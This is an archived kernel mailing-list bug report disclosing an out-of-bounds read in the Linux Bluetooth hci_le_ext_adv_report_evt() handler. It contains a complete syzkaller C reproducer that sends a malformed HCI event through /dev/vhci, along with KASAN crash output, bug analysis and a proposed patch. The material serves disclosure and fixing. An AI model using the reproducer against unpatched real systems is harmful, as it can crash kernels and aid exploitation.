From patchwork Sun Mar 21 07:18:53 2021 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: Lin Ma X-Patchwork-Id: 406045 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org X-Spam-Level: X-Spam-Status: No, score=-13.8 required=3.0 tests=BAYES_00, HEADER_FROM_DIFFERENT_DOMAINS,INCLUDES_PATCH,MAILING_LIST_MULTI, MENTIONS_GIT_HOSTING,SPF_HELO_NONE,SPF_PASS autolearn=unavailable autolearn_force=no version=3.4.0 Received: from mail.kernel.org (mail.kernel.org [198.145.29.99]) by smtp.lore.kernel.org (Postfix) with ESMTP id 30F32C433E0 for ; Sun, 21 Mar 2021 07:23:19 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id DCBB96192C for ; Sun, 21 Mar 2021 07:23:18 +0000 (UTC) Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S229952AbhCUHT2 (ORCPT ); Sun, 21 Mar 2021 03:19:28 -0400 Received: from mail.zju.edu.cn ([61.164.42.155]:12418 "EHLO zju.edu.cn" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP id S229805AbhCUHTS (ORCPT ); Sun, 21 Mar 2021 03:19:18 -0400 Received: by ajax-webmail-mail-app2 (Coremail) ; Sun, 21 Mar 2021 15:18:53 +0800 (GMT+08:00) X-Originating-IP: [10.192.42.255] Date: Sun, 21 Mar 2021 15:18:53 +0800 (GMT+08:00) X-CM-HeaderCharset: UTF-8 From: =?utf-8?b?6ams6bqf?= To: marcel@holtmann.org, johan.hedberg@gmail.com, luiz.dentz@gmail.com, davem@davemloft.net, kuba@kernel.org, linux-bluetooth@vger.kernel.org, netdev@vger.kernel.org, linux-kernel@vger.kernel.org Cc: yajin_zhou@zju.edu.cn, syzkaller@googlegroups.com Subject: BUG: Out of bounds read in hci_le_ext_adv_report_evt() X-Priority: 3 X-Mailer: Coremail Webmail Server Version XT5.0.13 build 20210104(ab8c30b6) Copyright (c) 2002-2021 www.mailtech.cn zju.edu.cn MIME-Version: 1.0 Message-ID: <13aed72.61c7.17853a6a5cd.Coremail.linma@zju.edu.cn> X-Coremail-Locale: en_US X-CM-TRANSID: by_KCgAHGxhd81ZgsQAcAA--.5094W X-CM-SenderInfo: qtrwiiyqvtljo62m3hxhgxhubq/1tbiAwILElNG3B3IbwABsq X-Coremail-Antispam: 1Ur529EdanIXcx71UUUUU7IcSsGvfJ3iIAIbVAYjsxI4VWxJw CS07vEb4IE77IF4wCS07vE1I0E4x80FVAKz4kxMIAIbVAFxVCaYxvI4VCIwcAKzIAtYxBI daVFxhVjvjDU= Precedence: bulk List-ID: X-Mailing-List: netdev@vger.kernel.org Hi there: Our team, zjublocksec, found the following problem during fuzzing, which seems undiscovered in previous. The idea here is just to prevent the `ptr` to go over bound of the `skb->len`. After testing, the reproducer code will not work out against this fix. :) ==== Others ========================= Please let me know if there is any confuses. Best wishes! // https://syzkaller.appspot.com/bug?id=eb0eb228e0b2381429aa0d10a08ea25c7cb6cc3d // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } const int kInitNetNsFd = 239; static long syz_init_net_socket(volatile long domain, volatile long type, volatile long proto) { int netns = open("/proc/self/ns/net", O_RDONLY); if (netns == -1) return netns; if (setns(kInitNetNsFd, 0)) return -1; int sock = syscall(__NR_socket, domain, type, proto); int err = errno; if (setns(netns, 0)) exit(1); close(netns); errno = err; return sock; } #define BTPROTO_HCI 1 #define ACL_LINK 1 #define SCAN_PAGE 2 typedef struct { uint8_t b[6]; } __attribute__((packed)) bdaddr_t; #define HCI_COMMAND_PKT 1 #define HCI_EVENT_PKT 4 #define HCI_VENDOR_PKT 0xff struct hci_command_hdr { uint16_t opcode; uint8_t plen; } __attribute__((packed)); struct hci_event_hdr { uint8_t evt; uint8_t plen; } __attribute__((packed)); #define HCI_EV_CONN_COMPLETE 0x03 struct hci_ev_conn_complete { uint8_t status; uint16_t handle; bdaddr_t bdaddr; uint8_t link_type; uint8_t encr_mode; } __attribute__((packed)); #define HCI_EV_CONN_REQUEST 0x04 struct hci_ev_conn_request { bdaddr_t bdaddr; uint8_t dev_class[3]; uint8_t link_type; } __attribute__((packed)); #define HCI_EV_REMOTE_FEATURES 0x0b struct hci_ev_remote_features { uint8_t status; uint16_t handle; uint8_t features[8]; } __attribute__((packed)); #define HCI_EV_CMD_COMPLETE 0x0e struct hci_ev_cmd_complete { uint8_t ncmd; uint16_t opcode; } __attribute__((packed)); #define HCI_OP_WRITE_SCAN_ENABLE 0x0c1a #define HCI_OP_READ_BUFFER_SIZE 0x1005 struct hci_rp_read_buffer_size { uint8_t status; uint16_t acl_mtu; uint8_t sco_mtu; uint16_t acl_max_pkt; uint16_t sco_max_pkt; } __attribute__((packed)); #define HCI_OP_READ_BD_ADDR 0x1009 struct hci_rp_read_bd_addr { uint8_t status; bdaddr_t bdaddr; } __attribute__((packed)); #define HCI_EV_LE_META 0x3e struct hci_ev_le_meta { uint8_t subevent; } __attribute__((packed)); #define HCI_EV_LE_CONN_COMPLETE 0x01 struct hci_ev_le_conn_complete { uint8_t status; uint16_t handle; uint8_t role; uint8_t bdaddr_type; bdaddr_t bdaddr; uint16_t interval; uint16_t latency; uint16_t supervision_timeout; uint8_t clk_accurancy; } __attribute__((packed)); struct hci_dev_req { uint16_t dev_id; uint32_t dev_opt; }; struct vhci_vendor_pkt { uint8_t type; uint8_t opcode; uint16_t id; }; #define HCIDEVUP _IOW('H', 201, int) #define HCISETSCAN _IOW('H', 221, int) static int vhci_fd = -1; static void hci_send_event_packet(int fd, uint8_t evt, void* data, size_t data_len) { struct iovec iv[3]; struct hci_event_hdr hdr; hdr.evt = evt; hdr.plen = data_len; uint8_t type = HCI_EVENT_PKT; iv[0].iov_base = &type; iv[0].iov_len = sizeof(type); iv[1].iov_base = &hdr; iv[1].iov_len = sizeof(hdr); iv[2].iov_base = data; iv[2].iov_len = data_len; if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0) exit(1); } static void hci_send_event_cmd_complete(int fd, uint16_t opcode, void* data, size_t data_len) { struct iovec iv[4]; struct hci_event_hdr hdr; hdr.evt = HCI_EV_CMD_COMPLETE; hdr.plen = sizeof(struct hci_ev_cmd_complete) + data_len; struct hci_ev_cmd_complete evt_hdr; evt_hdr.ncmd = 1; evt_hdr.opcode = opcode; uint8_t type = HCI_EVENT_PKT; iv[0].iov_base = &type; iv[0].iov_len = sizeof(type); iv[1].iov_base = &hdr; iv[1].iov_len = sizeof(hdr); iv[2].iov_base = &evt_hdr; iv[2].iov_len = sizeof(evt_hdr); iv[3].iov_base = data; iv[3].iov_len = data_len; if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0) exit(1); } static bool process_command_pkt(int fd, char* buf, ssize_t buf_size) { struct hci_command_hdr* hdr = (struct hci_command_hdr*)buf; if (buf_size < (ssize_t)sizeof(struct hci_command_hdr) || hdr->plen != buf_size - sizeof(struct hci_command_hdr)) { exit(1); } switch (hdr->opcode) { case HCI_OP_WRITE_SCAN_ENABLE: { uint8_t status = 0; hci_send_event_cmd_complete(fd, hdr->opcode, &status, sizeof(status)); return true; } case HCI_OP_READ_BD_ADDR: { struct hci_rp_read_bd_addr rp = {0}; rp.status = 0; memset(&rp.bdaddr, 0xaa, 6); hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp)); return false; } case HCI_OP_READ_BUFFER_SIZE: { struct hci_rp_read_buffer_size rp = {0}; rp.status = 0; rp.acl_mtu = 1021; rp.sco_mtu = 96; rp.acl_max_pkt = 4; rp.sco_max_pkt = 6; hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp)); return false; } } char dummy[0xf9] = {0}; hci_send_event_cmd_complete(fd, hdr->opcode, dummy, sizeof(dummy)); return false; } static void* event_thread(void* arg) { while (1) { char buf[1024] = {0}; ssize_t buf_size = read(vhci_fd, buf, sizeof(buf)); if (buf_size < 0) exit(1); if (buf_size > 0 && buf[0] == HCI_COMMAND_PKT) { if (process_command_pkt(vhci_fd, buf + 1, buf_size - 1)) break; } } return NULL; } #define HCI_HANDLE_1 200 #define HCI_HANDLE_2 201 static void initialize_vhci() { int hci_sock = syz_init_net_socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (hci_sock < 0) exit(1); vhci_fd = open("/dev/vhci", O_RDWR); if (vhci_fd == -1) exit(1); const int kVhciFd = 241; if (dup2(vhci_fd, kVhciFd) < 0) exit(1); close(vhci_fd); vhci_fd = kVhciFd; struct vhci_vendor_pkt vendor_pkt; if (read(vhci_fd, &vendor_pkt, sizeof(vendor_pkt)) != sizeof(vendor_pkt)) exit(1); if (vendor_pkt.type != HCI_VENDOR_PKT) exit(1); pthread_t th; if (pthread_create(&th, NULL, event_thread, NULL)) exit(1); if (ioctl(hci_sock, HCIDEVUP, vendor_pkt.id) && errno != EALREADY) exit(1); struct hci_dev_req dr = {0}; dr.dev_id = vendor_pkt.id; dr.dev_opt = SCAN_PAGE; if (ioctl(hci_sock, HCISETSCAN, &dr)) exit(1); struct hci_ev_conn_request request; memset(&request, 0, sizeof(request)); memset(&request.bdaddr, 0xaa, 6); *(uint8_t*)&request.bdaddr.b[5] = 0x10; request.link_type = ACL_LINK; hci_send_event_packet(vhci_fd, HCI_EV_CONN_REQUEST, &request, sizeof(request)); struct hci_ev_conn_complete complete; memset(&complete, 0, sizeof(complete)); complete.status = 0; complete.handle = HCI_HANDLE_1; memset(&complete.bdaddr, 0xaa, 6); *(uint8_t*)&complete.bdaddr.b[5] = 0x10; complete.link_type = ACL_LINK; complete.encr_mode = 0; hci_send_event_packet(vhci_fd, HCI_EV_CONN_COMPLETE, &complete, sizeof(complete)); struct hci_ev_remote_features features; memset(&features, 0, sizeof(features)); features.status = 0; features.handle = HCI_HANDLE_1; hci_send_event_packet(vhci_fd, HCI_EV_REMOTE_FEATURES, &features, sizeof(features)); struct { struct hci_ev_le_meta le_meta; struct hci_ev_le_conn_complete le_conn; } le_conn; memset(&le_conn, 0, sizeof(le_conn)); le_conn.le_meta.subevent = HCI_EV_LE_CONN_COMPLETE; memset(&le_conn.le_conn.bdaddr, 0xaa, 6); *(uint8_t*)&le_conn.le_conn.bdaddr.b[5] = 0x11; le_conn.le_conn.role = 1; le_conn.le_conn.handle = HCI_HANDLE_2; hci_send_event_packet(vhci_fd, HCI_EV_LE_META, &le_conn, sizeof(le_conn)); pthread_join(th, NULL); close(hci_sock); } static long syz_emit_vhci(volatile long a0, volatile long a1) { if (vhci_fd < 0) return (uintptr_t)-1; char* data = (char*)a0; uint32_t length = a1; return write(vhci_fd, data, length); } static void setup_common() { if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) { } } static void loop(); static void sandbox_common() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); setsid(); int netns = open("/proc/self/ns/net", O_RDONLY); if (netns == -1) exit(1); if (dup2(netns, kInitNetNsFd) < 0) exit(1); close(netns); struct rlimit rlim; rlim.rlim_cur = rlim.rlim_max = (200 << 20); setrlimit(RLIMIT_AS, &rlim); rlim.rlim_cur = rlim.rlim_max = 32 << 20; setrlimit(RLIMIT_MEMLOCK, &rlim); rlim.rlim_cur = rlim.rlim_max = 136 << 20; setrlimit(RLIMIT_FSIZE, &rlim); rlim.rlim_cur = rlim.rlim_max = 1 << 20; setrlimit(RLIMIT_STACK, &rlim); rlim.rlim_cur = rlim.rlim_max = 0; setrlimit(RLIMIT_CORE, &rlim); rlim.rlim_cur = rlim.rlim_max = 256; setrlimit(RLIMIT_NOFILE, &rlim); if (unshare(CLONE_NEWNS)) { } if (unshare(CLONE_NEWIPC)) { } if (unshare(0x02000000)) { } if (unshare(CLONE_NEWUTS)) { } if (unshare(CLONE_SYSVSEM)) { } typedef struct { const char* name; const char* value; } sysctl_t; static const sysctl_t sysctls[] = { {"/proc/sys/kernel/shmmax", "16777216"}, {"/proc/sys/kernel/shmall", "536870912"}, {"/proc/sys/kernel/shmmni", "1024"}, {"/proc/sys/kernel/msgmax", "8192"}, {"/proc/sys/kernel/msgmni", "1024"}, {"/proc/sys/kernel/msgmnb", "1024"}, {"/proc/sys/kernel/sem", "1024 1048576 500 1024"}, }; unsigned i; for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++) write_file(sysctls[i].name, sysctls[i].value); } static int wait_for_loop(int pid) { if (pid < 0) exit(1); int status = 0; while (waitpid(-1, &status, __WALL) != pid) { } return WEXITSTATUS(status); } static void drop_caps(void) { struct __user_cap_header_struct cap_hdr = {}; struct __user_cap_data_struct cap_data[2] = {}; cap_hdr.version = _LINUX_CAPABILITY_VERSION_3; cap_hdr.pid = getpid(); if (syscall(SYS_capget, &cap_hdr, &cap_data)) exit(1); const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE); cap_data[0].effective &= ~drop; cap_data[0].permitted &= ~drop; cap_data[0].inheritable &= ~drop; if (syscall(SYS_capset, &cap_hdr, &cap_data)) exit(1); } static int do_sandbox_none(void) { if (unshare(CLONE_NEWPID)) { } int pid = fork(); if (pid != 0) return wait_for_loop(pid); setup_common(); sandbox_common(); drop_caps(); if (unshare(CLONE_NEWNET)) { } initialize_vhci(); loop(); exit(1); } void loop(void) { memcpy( (void*)0x20000000, "\x04\x3e\x13\x0d\xc9\x00\x89\xf7\x00\x00\x00\x00\x00\x00", 0xe); syz_emit_vhci(0x20000000, 0xe); } int main(void) { syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); do_sandbox_none(); return 0; } ==== Basic Information ========================= HEAD commit: 1e28eed17697bcf343c6743f0028cc3b5dd88bf0 (tag: v5.12-rc3, master) Kernel config: refer to attached file (config) C POC code: refer to attached file (poc.c) ==== KASAN Output ========================= [ 20.294394] BUG: KASAN: slab-out-of-bounds in hci_le_meta_evt+0x310b/0x3850 [ 20.300333] Read of size 2 at addr ffff888013805819 by task kworker/u5:0/53 [ 20.306227] [ 20.307601] CPU: 0 PID: 53 Comm: kworker/u5:0 Not tainted 5.12.0-rc3+ #5 [ 20.313304] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014 [ 20.323006] Workqueue: hci0 hci_rx_work [ 20.326303] Call Trace: [ 20.328466] dump_stack+0xdd/0x137 [ 20.331425] ? hci_le_meta_evt+0x310b/0x3850 [ 20.335099] ? hci_le_meta_evt+0x310b/0x3850 [ 20.338773] print_address_description.constprop.0+0x18/0x130 [ 20.343697] ? hci_le_meta_evt+0x310b/0x3850 [ 20.347383] ? hci_le_meta_evt+0x310b/0x3850 [ 20.351059] kasan_report.cold+0x7f/0x111 [ 20.354512] ? hci_le_meta_evt+0x310b/0x3850 [ 20.358187] hci_le_meta_evt+0x310b/0x3850 [ 20.361722] ? run_timer_softirq+0x120/0x120 [ 20.365402] ? queue_work_on+0x69/0xa0 [ 20.368654] ? del_timer+0xb6/0x100 [ 20.371673] ? kasan_set_track+0x1c/0x30 [ 20.375062] ? le_conn_complete_evt+0x16e0/0x16e0 [ 20.379092] ? skb_release_data+0x519/0x610 [ 20.382686] ? kfree+0x91/0x270 [ 20.385413] ? kasan_set_track+0x1c/0x30 [ 20.388797] ? mutex_lock+0x89/0xd0 [ 20.391835] ? __mutex_lock_slowpath+0x10/0x10 [ 20.395651] ? hci_event_packet+0x436/0xa100 [ 20.399327] ? bt_dbg+0xe1/0x130 [ 20.402118] hci_event_packet+0x3213/0xa100 [ 20.405712] ? _raw_write_lock_irqsave+0xd0/0xd0 [ 20.409672] ? bt_dbg+0xe1/0x130 [ 20.412489] ? bt_dbg+0xe1/0x130 [ 20.415304] ? bt_err_ratelimited+0x140/0x140 [ 20.419059] ? hci_cmd_status_evt+0x46a0/0x46a0 [ 20.422955] ? bt_dbg+0xe1/0x130 [ 20.425754] ? bt_err_ratelimited+0x50/0x140 [ 20.429429] ? __wake_up_common_lock+0xde/0x130 [ 20.433333] ? __wake_up_common+0x5d0/0x5d0 [ 20.436926] ? _raw_spin_lock_irqsave+0x7b/0xd0 [ 20.440844] ? hci_chan_sent+0x23/0x800 [ 20.444167] ? __sanitizer_cov_trace_switch+0x50/0x90 [ 20.448504] ? _raw_spin_lock_irqsave+0x7b/0xd0 [ 20.452396] ? bt_dbg+0xe1/0x130 [ 20.455205] ? bt_err_ratelimited+0x140/0x140 [ 20.458961] ? _raw_spin_lock_irqsave+0x7b/0xd0 [ 20.462847] ? _raw_write_lock_irqsave+0xd0/0xd0 [ 20.466832] ? copy_fpregs_to_fpstate+0x14f/0x1d0 [ 20.470904] hci_rx_work+0x2b9/0x8e0 [ 20.473993] ? strscpy+0xa0/0x2a0 [ 20.476905] process_one_work+0x747/0xfe0 [ 20.480392] ? kthread_data+0x4f/0xc0 [ 20.483561] worker_thread+0x641/0x1190 [ 20.486883] ? rescuer_thread+0xd00/0xd00 [ 20.490332] kthread+0x344/0x410 [ 20.493127] ? kthread_create_worker_on_cpu+0xf0/0xf0 [ 20.497457] ret_from_fork+0x22/0x30 [ 20.500563] [ 20.501919] Allocated by task 223: [ 20.504882] kasan_save_stack+0x1b/0x40 [ 20.508212] __kasan_kmalloc+0x7a/0x90 [ 20.511459] load_elf_phdrs+0x103/0x210 [ 20.514763] load_elf_binary+0x1dc/0x4dd0 [ 20.518220] bprm_execve+0x741/0x1460 [ 20.521401] do_execveat_common+0x621/0x7c0 [ 20.525013] __x64_sys_execve+0x8f/0xc0 [ 20.528354] do_syscall_64+0x33/0x40 [ 20.531465] entry_SYSCALL_64_after_hwframe+0x44/0xae [ 20.535791] [ 20.537154] The buggy address belongs to the object at ffff888013805600 [ 20.537154] which belongs to the cache kmalloc-512 of size 512 [ 20.547717] The buggy address is located 25 bytes to the right of [ 20.547717] 512-byte region [ffff888013805600, ffff888013805800) [ 20.557963] The buggy address belongs to the page: [ 20.562066] page:00000000ef0b1214 refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff888013802000 pfn:0x13800 [ 20.571028] head:00000000ef0b1214 order:3 compound_mapcount:0 compound_pincount:0 [ 20.577371] flags: 0x100000000010200(slab|head) [ 20.581264] raw: 0100000000010200 ffff888006441450 ffffea0000473408 ffff888006443940 [ 20.587833] raw: ffff888013802000 000000000015000c 00000001ffffffff 0000000000000000 [ 20.594388] page dumped because: kasan: bad access detected [ 20.599157] [ 20.600503] Memory state around the buggy address: [ 20.604598] ffff888013805700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 20.610722] ffff888013805780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 20.616835] >ffff888013805800: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 20.622963] ^ [ 20.626401] ffff888013805880: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 20.632507] ffff888013805900: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc ==== Bug Analysis ========================= In fact, this out-of-bounds read is quite similar to an old found bug (KASAN: out-of-bounds read in hci_le_direct_adv_report_evt). You can check this link to get useful information: https://groups.google.com/g/syzkaller-bugs/c/Z9-x9udEIxk/m/0NsClcU4BAAJ Anyhow, the buggy code for this time is shown below: static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb) { u8 num_reports = skb->data[0]; void *ptr = &skb->data[1]; hci_dev_lock(hdev); while (num_reports--) { struct hci_ev_le_ext_adv_report *ev = ptr; u8 legacy_evt_type; u16 evt_type; evt_type = __le16_to_cpu(ev->evt_type); legacy_evt_type = ext_evt_type_to_legacy(hdev, evt_type); if (legacy_evt_type != LE_ADV_INVALID) { process_adv_report(hdev, legacy_evt_type, &ev->bdaddr, ev->bdaddr_type, NULL, 0, ev->rssi, ev->data, ev->length, !(evt_type & LE_EXT_ADV_LEGACY_PDU)); } ptr += sizeof(*ev) + ev->length; } hci_dev_unlock(hdev); } As you can see, the variable `num_reports` is not being properly checked. The malformed event packet can fake a huge `num_reports` and cause `process_adv_report` to access invalid memory space. Yeah, the internal of this bug is almost equivalent to the already found bug. ==== Suggested Patch ========================= As this bug is quite similar to that found one, it's recommended to adopt a similar patch here like below (also in the attached file: patch.diff). --- a/net/bluetooth/hci_event.c +++ b/net/bluetooth/hci_event.c @@ -5685,10 +5685,14 @@ static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb) { u8 num_reports = skb->data[0]; void *ptr = &skb->data[1]; + u32 len_processed = 0; hci_dev_lock(hdev); while (num_reports--) { + if (len_processed > skb->len) + break; + struct hci_ev_le_ext_adv_report *ev = ptr; u8 legacy_evt_type; u16 evt_type; @@ -5703,6 +5707,7 @@ static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb) } ptr += sizeof(*ev) + ev->length; + len_processed += sizeof(*ev) + ev->length; } hci_dev_unlock(hdev);